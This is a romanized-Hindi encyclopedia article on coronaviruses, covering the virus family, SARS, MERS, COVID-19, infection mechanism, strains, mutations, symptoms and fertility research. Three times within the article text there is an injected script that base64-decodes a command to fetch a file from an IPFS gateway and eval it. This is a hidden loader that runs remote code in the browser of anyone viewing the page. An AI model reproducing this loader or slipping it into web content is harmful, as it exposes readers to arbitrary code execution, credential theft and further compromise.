कोरोना विषाणु

chitr:Disamb2.jpg korona

ek bahuvikalpi shabd hai any arthoan ke lie dekhean:- korona (bahuvikalpi)

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

korona vishanu
korona vishanu|200px|center
adhijagat	vayaras (Virus)
jagat	raiboviriya (Riboviria)
sangh	anishchit
gan	nidoviralis (Nidovirales)
kul	koronaviridae (Coronaviridae)
upakul	aaurthokoronavirinae (Orthocoronavirinae)
vansh	alfakoronavayaras (Alfacoronavirus), betakoronavayaras (Betacoronavirus) gamakoronavayaras (Gammacoronavirus), deltakoronavayaras (Deltacoronavirus)
any janakari	korona vayaras tailiy lipid ke bulabule ke aandar hota hai. is bulabule ke charoan taraph protin aur lipids ki parat hoti hai. isi parat se protin ke kaante nikale hote haian. korona vayaras nak, muanh ya aankhoan ke jarie sharir mean ghusata hai.

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>korona vishanu (aangrezi: Corona virus) kee prakar ke vishanuoan ka ek samooh hai, jo stanadhariyoan aur pakshiyoan mean rog ke karan haian. yah ar.en.e. vishanu hote haian. manav mean yah shvas tantr sankraman ka karan banate haian, jo adhikaanshat: kam ghatak lekin kabhi-kabhi janaleva siddh hote haian. gay aur sooar mean korona vishanu atisar aur murgiyoan mean oopari shvas tantr ke rog ke karan banate haian. inaki rokatham ke lie koee tika (vaiksin) ya eantivayaral abhi upalabdh nahian hai. sabun se hath dhona hi bachav ka sabase behatarin tarika hai, kyoanki korona vayaras ki bahari parat protin ya tailiy lipid se bani hoti hai, jise sabun ka pani to d deta hai. isake bad vayaras ka stren kamajor p d jata hai. chin ke voohan shahar se utpann hone vala '2019 novel korona vishanu' isi samooh ke vayarasoan ka ek udaharan hai, jisaka sankraman 2019-2020 se b di hi tezi se poore mean phail raha hai. vishv svasthy sangathan ne ise 'kovid-19' (COVID-19) nam diya hai.

korona vishanu parivar

korona vishanu samay-samay par manav abadi mean phailate rahe haian aur vayaskoan aur bachchoan mean saans lene mean sankraman ka karan banate haian. ye mukhy roop se sardiyoan aur shuruati vasant rritu mean hi jyada takatavar hote haian. abhi tak korona vishanu parivar ke sat vishanuoan ka pata lagaya gaya hai, jinaka vivaran nimn haian-

echasiovi-229-ee

manav korona vayaras 229-ee (echasiovi-229-ee) korona vishanu ki ek prajati hai, jo manushyoan aur chamagad doan ko sankramit karati hai. yah sankramak vayaras ek siangal-straanded ar.en.e. vayaras hai, jo epien riseptar ke jariye apane manushyoan ki koshikaoan mean pravesh karata hai. echasiovi-229-ee chhoti-chhoti ulti aur shvasan ke madhyam se prasarit hota hai. isake lakshanoan mean sardi-jukam se lekar tej bukhar jaise ki nimoniya aur bronkolaitis shamil haian.

echasiovi-enel-63

echasiovi-enel-63 alpha korona vayaras hai. isaki pahachan 2004 ke aant mean nidaralaiand ke broankolaitis vale sat mahine ke bachche mean ki gee thi. bad mean duniya mean kee bimariyoan ke sath isaka ju dav samane aya hai. in bimariyoan mean shvaans nalika ke sankraman, krup aur bronkolaitis shamil haian. vishanu mukhy roop se chhote bachchoan, bujurgoan aur tivr shvasan sanbandhi bimari ke rogiyoan mean paya jata hai. emstardam mean ek adhyayan ke anusar, lagabhag 4.7% am shvasan rogoan mean echasiovi-enel-63 ki upasthiti hai.

echasiovi-osi-43

echasiovi-229-ee ke sath-sath, echasiovi-osi-43 bhi ek samany sardi ka karak vishanu hai. yah vishanu shishuoan mean nimoniya sahit, shvasan nalika sankraman panapata hai. bujurg aur kamajor rog pratirodhak kshamata vale vyaktiyoan jaise ki kimotherepi se gujarane vale aur echaeevi-eds se pi dit log bhi isake jyada shikar hote haian. sardi ke mausam mean jab jukham hota hai to yah isi vishanu ki badaulat hai.

echasiovi-echakeyoo-1

echasiovi-echakeyoo-1 ko pahali bar janavari, 2005 mean haangakaang ke ek 71 varshiy vyakti mean pahachana gaya tha, jo ki tivr shvasan samasya se joojh raha tha. usamean rediyol aaujikal roop se dvipakshiy nimoniya ki pushti ki gee thi. us dauran yah adami chin ke shenajhen se lauta tha.

sars

korona vayaras ke parivar ka ek poorvaj vayaras sars (siviyar ekyoot rispiretari siandrom) sabase pahale 2003 mean chin mean paya gaya tha. yah chamagad doan se iansanoan mean aya tha. isaki vajah se 2003 mean chin aur haangakaang mean karib 650 log mare ge the. jaanch mean pata chala tha ki yah vishanu chamagad doan se iansanoan mean aya tha.

mars

madhy-poorv deshoan mean mars-siovi (midil eest rispiretari siandrom vayaras) ko 2012 mean soodi arab mean khoja gaya tha. yah vayaras korona vayaras parivar ka poorvaj hai. mars-siovi ki vajah se ab tak madhy-poorv ke deshoan mean 800 se jyada logoan ki maut ho chuki hai. yah vayaras ooantoan ke jariye iansanoan mean aya tha.

noval korona vayaras

thumb|300px|korona vishanu (kovid-19) noval korona vayaras (kovid-19) ka pahala mamala disanbar, 2019 mean chin ke vuhan mean samane aya tha. isake lakshanoan mean bukhar, sardi-jukham, khaansi, saans lene mean takaliph hoti hai. ye lakshan sars aur mers se kaphi milate-julate haian. kovid-19 ki anuvaanshik sanrachana 80 phisadi tak chamagad doan mean pae jane vale sars vayaras jaisi mili hai.

kovid-19 zyada chiantajanak

manav mean kovid-19 ka sankraman atyadhik gambhir hai. isake lakshan jaldi nahian dikhate. haangakaang yoonivarsiti mean klinikal prophesar j aaun nikolas ke mutabiq, noval korona vayaras ki pushti n hone par bhi khatara barakarar rahata hai. ek-do haphte bad dobara jaanch jaroori hai, kyoanki yah vayaras deri se panapata hai. shvasan tantr par hamala karane vala kovid-19 khaansi, chhiank ke jariye chhah phit ke dayare mean doosare vyakti tak pahuanch sakata hai aur 14 dinoan tak isake lakshan nahian dikhate.

atyadhik ghatak

kovid-19 ne sankraman aur mautoan ke mamale mean korona shreni ke hi vayaras sars ko pichhe chho d diya hai. 2002-2003 mean phaile sars ki chapet mean chin mean 5,327 log ae the aur duniya bhar mean 750 log mare ge the. kovid-19 vayaras par kaboo pane ki koshish vaijnanik kar rahe haian, jabaki sars aur mars ka bhi j d se unmoolan nahian hua hai. kee deshoan mean saloan bad bhi inake dobara sakriy hone ki ashanka bani rahati hai. kovid-19 se abhi tak jiv-jantuoan ke prabhavit hone ka koee mamala samane nahian aya hai. ek shodh ke anusar any korona vayaras gay, sooaroan aur ooant adi mean dayariya ka karan banate haian.

manav sharir mean pravesh

korona vayaras tailiy lipid ke bulabule ke aandar hota hai. is bulabule ke charoan taraph protin aur lipids ki parat hoti hai. isi parat se protin ke kaante (Spikes) nikale hote haian. korona vayaras nak, muanh ya aankhoan ke jarie sharir mean ghusata hai. isake bad ye sharir ki koshikaoan tak jata hai. iansani sharir ki koshikaean esiee 2 namak protin paida karati haian. isake bad korona vayaras ka tailiy lipid bulabula phoot jata hai. vah koshika ki bahari parat ko khol deta hai. phir tailiy lipid ke aandar maujood korona vayaras ka stren ya arene hamari koshikaoan mean ghus jata hai. korona vayaras ka jinom sharir ki koshikaoan mean ek nigetiv vayaral protin banana shuroo kar deta hai. isake lie vah koshikaoan se oorja leta hai taki vah sharir ke aandar hi ne korona vayaras paida kar sake. dhire-dhire korona vayaras jaise kaante hamare sharir ki koshikaoan mean vikasit hone lagate haian. yani hamari koshikaean bhi korona vayaras jaisi banane lagati haian. phir, ye tootakar ne korona vayarasoan ko janm dena shuroo karati haian. isake bad iansan ke sharir mean hi shuroo ho jati hai korona vayaras ki eseanbaliang arthat vayaras ke ne arene sharir mean phailane lagate haian. ye ne vayaras ko paida karate haian. phir iansani sharir ke aandar hi alag-alag koshikaoan se milakar ne korona vayaras banane lagate haian.

manav sharir ke aandar sankramit har koshika lakhoan vishanu bana sakati hai. aant mean iansani sharir ki koshikaean marane lagati haian. phir dhire se ye vishanu pheph doan mean pahuanchakar aauksijan saph karane ki prakriya ko badhit kar deta hai. aisi sthiti mean sharir ki pratirodhak pranali vishanu se mukabala karati hai. tab bukhar ata hai. jab sthiti jyada ganbhir hoti hai, tab hamara imyoon sistam hamare pheph doan ki koshikaoan par hi hamala karata hai. isase pheph de badhit hote haian; kyoanki is prakriya mean kaph banane lagata hai. ye kaph mari gee sankramit koshikaean hoti haian. isi vajah se manav saans nahian le pata aur usaki maut ho jati hai.

khaansane ya chhiankane se pheph doan mean mari gee sankramit koshikaean pani ya thook ya kaph ki booandoan ke roop mean bahar ate haian, jo kuchh ghantoan se lekar kuchh dinoan tak bahari vatavaran mean jivit rah sakate haian. sath hi any logoan ko sankramit kar sakate haian. isalie log mask lagane ko kahate haian. bhavishy mean ho sakata hai ki korona vayaras kovid-19 ke lie koee vaiksin bana liya jae taki vah iansani sharir par yadi hamala kare to vah koee nukasan n pahuancha pae. abhi is vishanu ke niyantran ke lie koee vaiksin nahian hai. sabun se hath dhona hi bachav ka sabase behatarin tarika hai, kyoanki korona vishanu ki bahari parat protin ya tailiy lipid se bani hoti hai, jise sabun ka pani to d deta hai. isake bad vishanu ka stren kamajor p d jata hai.

korona ka el (L) stren

korona vayaras ke sankraman se bharat ka gujarat buri tarah se prabhavit hai. yahaan 133 se bhi adhik maut ho chuki haian. vishashejnoan ka manana hai ki is rajy mean mrityu dar jyada hone ki vajah vayaras ka L stren ho sakata hai, jo ki isaka sabase ghatak stren hai aur yahi chin ke vuhan mean bhi dikha tha. L taip stren nam ka ye stren kaphi ghatak hai aur gujarat mean maut ki dar jyada hone ke pichhe ye ek b di vajah ho sakata hai. vahian keral mean isaka S taip stren mil raha hai, jo apekshakrit kamajor hai aur vahaan par maut ki dar kam hone ke pichhe ye bhi vajah ho sakati hai. gujarat mean ji.bi.ar.si. ke dayarektar siji joshi ke anusar- "L stren vayaras ke doosare prakar S taip stren se kaphi ghatak hota hai. duniya mean jahaan bhi mautoan ki dar jyada hai, vahaan vayaras ka yahi stren mila hai.

tin tarah ke myooteshan

hal hi mean ji.bi.ar.si. ko korona vayaras ka jinom sikveans alag-alag karane mean b di saphalata mili. isamean vayaras ke tin myooteshan samane ae. keral mean dubee se vayaras ka prasar hua, jahaan S stren ke mamale jyada the. vahian itali aur phraans mean L stren vale marij jyada the, jahaan se laute bharatiyoan ke sath L stren taip aya. ek aur stren hai jo nyooy aaurk mean dikh raha hai, jis par vaijnanik kam karane mean jute hue haian.

korona ka stren kya hai, ye samajhane ke lie yah janana jaroori hai ki korona vayaras kya hai. korona vayaras asal mean siangal streanded RNA vayaras ka samooh hai, jo bimariyaan paida karata hai. janavaroan mean ab tak saik doan tarah ke korona vayaras dekhe ja chuke haian, vahian inamean se 7 hi korona vayaras haian, jo iansanoan par asar dalate haian. manav ko sankramit karane vala korona sabase pahale sal 1960 mean dikha tha. ye bachchoan mean saans dene mean pareshani jaisi samasya paida karata tha. sal 1965 mean do vaijnanikoan DJ Tyrrell aur ML Bynoe ne isaki pahachan ki, lekin do saloan bad hi ise korona vayaras nam diya gaya. isake mukutanuma nukile akar ke karan ise korona kaha gaya.

el aur es stren mean aantar

naya yani SARS-CoV-2 do b de staroan mean banta dikh raha hai. pekiang yoonivarsiti skool aauf laif saians aur shanghaee yoonivarsiti ke vaijnanikoan ne 103 marijoan ke saianpal lekar is par shodh kiya, jisamean ye nikalakar aya. in donoan staroan ko L aur S taip nam diya gaya. lakshanoan mean saman dikhane ke bad bhi donoan mean kaphi phark hota hai. disambar 2019 mean vuhan mean vayaras ka L taip dikha, jo jyada ghatak hota hai, lekin janavari 2020 ke bad ane vale mamaloan mean ye S taip mean badal gaya. S stren utana ganbhir nahian hota, lekin isake sath bhi ek mushkil ye hai ki bimari ke lakshan der se ya nahian ke barabar rahate haian. aise mean marij aspatal jane ya test mean der karata hai. yani sankraman jyada vakt tak sharir mean rahata hai aur anajane hi ek se doosare mean phailata rahata hai. neshanal saians rivyoo mean chhapi is stadi ke mutabiq korona ka S stren taip jyada purana hai, lekin ye keval 30 pratishat mamaloan mean dikh raha hai. vahian doosara taip naya hai, jo vayaras ke myooteshan se bana mana ja raha hai. ye L taip jyada ghatak hai.

naye badalav

korona vayaras mean kee tarah ke badalav hue haian. inamean se kuchh is prakar hai-

• N501Y - briten mean yah stren mila hai. isamean amino esid ko N likha gaya hai. yah korona vayaras ki jenetik sanrachana mean pojishan-501 par tha. ise ab Y ne riples kar liya hai.
• P681H - naijiriya mean mile is korona vayaras stren mean pojishan-681 par amino esid P ko H ne riples kar diya hai. amerika ke sidisi ke mutabiq, is pojishan mean badalav kee bar ho chuka hai.
• HV 69/70 - yah stren korona vayaras mean pojishan-69 aur 70 par amino esids ke dilit hone ka natija hai. phraans aur dakshin afrika mean bhi vayaras mean yah badalav dikha hai.
• N439K - briten mean kovid-19 jenomiks kansortiyam (CoG-UK) ke risarchars ne is ne vairieant ke bare mean bataya tha. isamean pojishan-439 par sthit amino esid N ko K ne riples kiya hai.
  

korona mean lagatar myooteshan hota rahata hai, yani isake gun badalate rahate haian. myooteshan hone se jyadatar verieant khud hi khatm ho jate haian, lekin kabhi-kabhi yah pahale se kee guna jyada majaboot aur khataranak ho jata hai. yah prakriya itani tezise hoti hai ki vaijnanik ek roop ko samajh bhi nahian pate aur doosara naya roop samane a jata hai. vaijnanikoan ka anuman hai ki korona vayaras ka jo naya roop briten mean mila hai, vah pahale se 70% jyada tezise phail sakata hai.

shuruati sanket

korona vayaras aur lagatar mil rahe usake ne-ne stren ne duniya bhar ke logoan ko pareshan karake rakh diya hai. jab se yah vayaras phaila hai, tab se vaijnanik lagatar isake bare mean janane ki koshish kar rahe haian. isako lekar shodh jari haian aur ne-ne khulase bhi ho rahe haian. spen ke maidrid mean kie ge ek ne adhyayan ke mutabiq, marijoan ke jibh, hath aur pairoan mean parivartan kovid-19 ke shuruati sanket ho sakate haian. korona se sankramit 666 marijoan par kie ge shodh mean paya gaya ki char mean se ek marij ke jibh mean soojan, hatheliyoan par jalan aur pairoan ke talavoan par lalima ki shikayat thi.

jibh mean soojan

adhyayan ke mutabiq, korona marijoan ke muanh ke aandar ganbhir sankraman dekhane ko mil raha hai, jisase jibh par saphed dhabbe aur soojan ho rahi hai. is durlabh sthiti ko kee vaijnanikoan ne kovid tang ka nam diya hai. yah svad ki kshamata ke nukasan ke sath ju da hua hai, jo kovid-19 ka ek samany lakshan hai.

hatheliyoan aur pair ke talavoan mean jalan aur lalima

jibh mean soojan ke alava lagabhag 15 phisadi korona marijoan ne apani hatheliyoan aur pairoan ke talavoan mean jalan aur lalima ka anubhav karane ki shikayat ki. isake alava un jagahoan par chhote-chhote dag bhi dikhaee dete haian. mukhy shodhakarta noono goanjalej ne bataya ki halke se madhyam kovid-19 sankraman vale lagabhag adhe marijoan ko do saptah ki avadhi ke dauran ek aspatal mean bharti karaya gaya tha, jisamean in sanketoan ka pata chala. unhoanne kaha ki oral kaiviti bhi kee marijoan mean chianta ka karan tha aur samay-samay par inake vishesh parikshan ki jaroorat thi.

kovid-19 ke any lakshan

chooanki samay-samay par ne lakshan paida hote haian, lekin kovid-19 ke pahale se maujood am lakshanoan ko najaraandazanahian kiya jana chahie. isake kuchh sabase khas sanket is prakar haian- 

1. bukhar 
2. sookhi khaansi 
3. gale mean kharash 
4. bahati huee aur bhari huee nak 
5. sine mean dard aur saans ki takaliph 
6. thakan 

savadhani jaroor baratean

vaijnanik aur svasthy visheshajn pahale se hi ye kahate a rahe haian ki korona vayaras se bachane ke lie mask ka istemal sabase karagar upayoan mean se ek hai. isake alava ap samay-samay par hath dhone ya sainitaijar ka istemal karane aur surakshit sharirik doori apanane jaise niyamoan ka palan karake bhi isake sankraman se bach sakate haian. halaanki ab to briten, amerika aur bharat jaise kee deshoan mean is vayaras ke khilaph tikakaran abhiyan chalae ja rahe haian, lekin phir bhi in niyamoan ka palan jari rakhean, tabhi vayaras se bachav sanbhav hai.

prajanan kshamata par prabhav

chitr:Blockquote-open.gif hal hi mean 'opan bayol aauji' namak patrika mean bhi ek shodh riport prakashit huee thi, jisamean dava kiya gaya hai ki korona vayaras purushoan ki prajanan kshamata par bura asar dal sakata hai, kyoanki yah vayaras mahilaoan ke mukabale purushoan par jyada karagar tarike se hamala karata hai. shodhakartaoan ne is bat ki bhi ashanka jataee hai ki ho sakata hai korona ka sankraman yaun sanbandh banane ke dauran bhi phailane lage. chitr:Blockquote-close.gif

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>  pahale aisa mana ja raha tha ki korona vayaras shvasan tantr ko mukhy roop se prabhavit karata hai, lekin ab shodhakartaoan ne yah jan liya hai ki isake lakshan kee aur vividh haian. 'riprodakshan' namak patrika mean prakashit ek ne adhyayan ke mutabiq, kovid-19 ke ganbhir mamale ek adami ke shukranu ki gunavatta ko prabhavit kar sakate haian aur is prakar sanbhavatah unaki prajanan kshamata prabhavit ho sakati hai. shodhakartaoan ka kahana hai ki ye nishkarsh is bat ka pahala aur pratyaksh prayogatmak saboot hai ki kovid-19 purush prajanan pranali ko nukasan pahuancha sakata hai. halaanki is shodh ko lekar visheshajnoan ka yah bhi kahana hai ki purushoan mean prajanan kshamata par vayaras ka prabhav abhi spasht nahian hai. is nishkarsh par pahuanchane ke lie kovid-19 se sankramit 84 purushoan aur 105 svasth purushoan ke sparm ko lekar adhyayan kiya gaya tha. 

jarmani mean jastas libig vishvavidyalay ke shodhakarta behajad hajijade maleki ne kaha, 'shukranu koshikaoan par ye prabhav kam shukranu ki gunavatta aur kam prajanan kshamata se ju de haian. halaanki in prabhavoan mean samay ke sath sudhar hua, lekin ve kovid-19 se joojh rahe marijoan mean mahatvapoorn aur asamany roop se uchch bane rahe.' unhoanne kaha ki 'yah bimari jitani adhik ganbhir hoti hai, parivartan utane hi b de hote haian'. shodhakarta behajad hajijade maleki ne kaha, 'purush prajanan pranali ko 'kovid-19 sankraman ka ek sanvedanashil marg mana jana chahie aur vishv svasthy sangathan dvara ise uchch jokhim vala aang ghoshit kiya jana chahie'.

halaanki visheshajnoan ka kahana hai ki abhi is par aur shodh ki jaroorat hai. vahian briten mean keyar phartiliti grup ke bhroon vijnan ki nideshak elisan kaianpabel ka bhi kahana hai ki purushoan ko anuchit roop se chiantit nahian hona chahie. unhoanne kaha ki kovid-19 ki vajah se shukranuoan ki gunavatta ya purush prajanan kshamata par sthayi kshati ka vartaman mean koee nishchit praman nahian hai. hal hi mean 'opan bayol aauji' namak patrika mean bhi ek shodh riport prakashit huee thi, jisamean dava kiya gaya hai ki korona vayaras purushoan ki prajanan kshamata par bura asar dal sakata hai, kyoanki yah vayaras mahilaoan ke mukabale purushoan par jyada karagar tarike se hamala karata hai. shodhakartaoan ne is bat ki bhi ashanka jataee hai ki ho sakata hai korona ka sankraman yaun sanbandh banane ke dauran bhi phailane lage. 

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

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